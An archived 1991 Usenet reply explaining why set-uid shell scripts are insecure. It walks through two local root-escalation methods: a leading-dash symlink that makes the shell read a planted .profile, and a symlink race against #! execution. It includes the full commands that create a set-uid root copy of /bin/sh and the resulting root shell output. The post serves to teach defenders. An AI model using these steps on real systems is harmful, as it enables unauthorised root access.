home *** CD-ROM | disk | FTP | other *** search
- From: jmason2@gpu.utcs.utoronto.ca (Jamie Mason)
- Newsgroups: comp.unix.wizards
- Subject: Re: SUID shell scripts
- Summary: Why to *NEVER* *EVER* user set-uid scripts!
- Message-ID: <1991Sep19.125455.20375@gpu.utcs.utoronto.ca>
- Date: 19 Sep 91 12:54:55 GMT
- References: <1991Sep19.072220.206@dde.dk>
-
- In article <1991Sep19.072220.206@dde.dk>, ct@dde.dk writes:
- >Some say that shell scripts with the Set-User-ID bit set (on systems
- >that allow it) are a security hazard. Why? If the script sets
- >up PATH and IFS, is it not safe?
-
- NO.
-
-
- There are two reasons why not. I'll tell you the easy one first.
- Assume that there is a set-uid script owned by root (more fun that way :-)
- called /local/bin/passwd (for instance). Say that it is a bourne shell
- script, and so the first line is
-
- #!/bin/sh
-
- Most shells will run as a login shell of the first character of
- their argv0 (first argument) starts with a '-'. This is how login
- manages to give you a login shell. It calls csh as '-csh'. One of the
- things that a login shell does is read your .profile or .cshrc.
-
- On some systems, the shell is stupid enough to read and run
- $HOME/.profile even if it is running set-uid (effective uid != real uid).
-
- So on these systems, set-uid shell scripts are VERY VERY easy
- to break, and so are a big security hole from hell. If you, or a
- cracker, felt like root access, you (or they) could try:
-
- % cat > .profile
- whoami # to make sure. id(1) would be fine as well.
- cp /bin/sh $HOME/SU
- chown root.wheel $HOME/SU
- chmod 6755 $HOME/SU
- ^D
- % ln -s /local/bin/passwd -gotcha
- % ./-gotcha
- root
- % ls -l SU
- -rwsr-sr-x 1 root wheel 106496 Oct 11 1990 SU
- % ./SU
- # whoami
- root
- # exit
-
- Now you have a set-uid root version of sh to play with. It's
- setgid wheel too, just for fun. :-)
-
-
-
- Now for the second security hole -- on almost all #! systems...
- When the kernel execs a file, it looks for a magic number in the first
- two bytes. If the magic number is '#!', then it takes the next one or
- two tokens (up to 32 chars, usually), and tacks the full pathname of the
- script on as an argument. So if /u/joeuser/foo stared with:
-
- #!/bin/sh
- then the kernel, in the process of loading this, would do:
- /bin/sh /u/joeuser/foo
- Sh would have /u/joeuser/foo as $0 for the script. If it was
- #!/bin/csh -f
- then the kernel would execute
- /bin/csh -f /u/joeuser/foo
-
- The important thing to note here is that the shell re-opens the
- file for itself. The kernel does not hand it an open file descriptor.
-
- So let's imagine that /local/bin/passwd example again. If
- you ran /local/bin/passwd, then the kernel would set uid to root. Then
- it would call
- /bin/sh /local/bin/passwd
- and /local/bin/passwd would do its stuff and exit. No security hole
- here, unless /local/bin/passwd is a badly written script that does not
- set, for instance, $PATH.
-
- Ok. But now lets try confusing things with a symlink, a
- little different from before...
-
- % ln -s /local/bin/passwd mylink
- % cat > nasty_commands
- whoami # to make sure. id(1) would be fine as well.
- cp /bin/sh $HOME/SU
- chown root.wheel $HOME/SU
- chmod 6755 $HOME/SU
- ^D
- % ./mylink
-
- So the kernel stat()s $HOME/mylink. stat() follows the link and
- sees the set-uid bit set and the owner being root on the other end of the
- link (i.e. /local/bin/passwd). So the kernel sets uid to root. Then it
- executes the following command:
-
- /bin/sh /u/joeuser/mylink
- The shell opens /u/joeuser/mylink. The open() follows the link
- and opens the file at the other end (i.e. /local/bin/passwd) and executes
- the commands from it. Still no security hole.
-
- But what if while the kernel was doing this, you did:
- % rm mylink; ln -s /u/joeuser/nasty_commands $HOME/mylink
- Now when the kernel followed mylink, it found /local/bin/passwd.
- So it set-uid to root. But my the time the SHELL followed mylink to
- open it, it finds $home/nasty_commands, which it executes... As root.
-
- Now you will almost certainly NOT win such a race with the kernel
- >From the shell. But you could do it in a C program. You could
- fork, then nice the parent into the dirt (i.e. 20) on a loaded system.
- (If the system isn't loaded, load it. Start some X applications :-)
- The parent can then exec() your symlink.
- Meanwhile, in the child, you snip the symlink and make a new one.
- Most of the time, you will lose the race. But not EVERY TIME. And if
- the kernel loses the race JUST ONCE, then you win. And you WIN BIG.
-
- Note that we put the same commands in nasty_commands as we put in
- ..profile in the last example. I was trying to show what a cracker would
- do. If someone was trying to crack your system, then that is the type
- of command they might issue. They might put the suid sh in /tmp though,
- or somewhere else not traceable to them. Since they now have root access,
- they can put it anywhere. It may be lots of fun to find. Once someone
- has broken root on your system JUST ONCE, it is very hard to get rid of
- them. If they are smart, you may not even discover them. If you do, you
- may not ever find all the little goodies they left around the system.
-
-
-
- So no, set-uid shell (or anything) scripts are not secure, ever.
-
- If it was only set-uid to a user, rather than root, or it was only
- set-gid to a special group, then the attacker will only be able to gain
- the privileges of the user or group rather than root. And the
- chown will have to come out of the attacker's script. It might get
- replaced by a chgrp.
-
-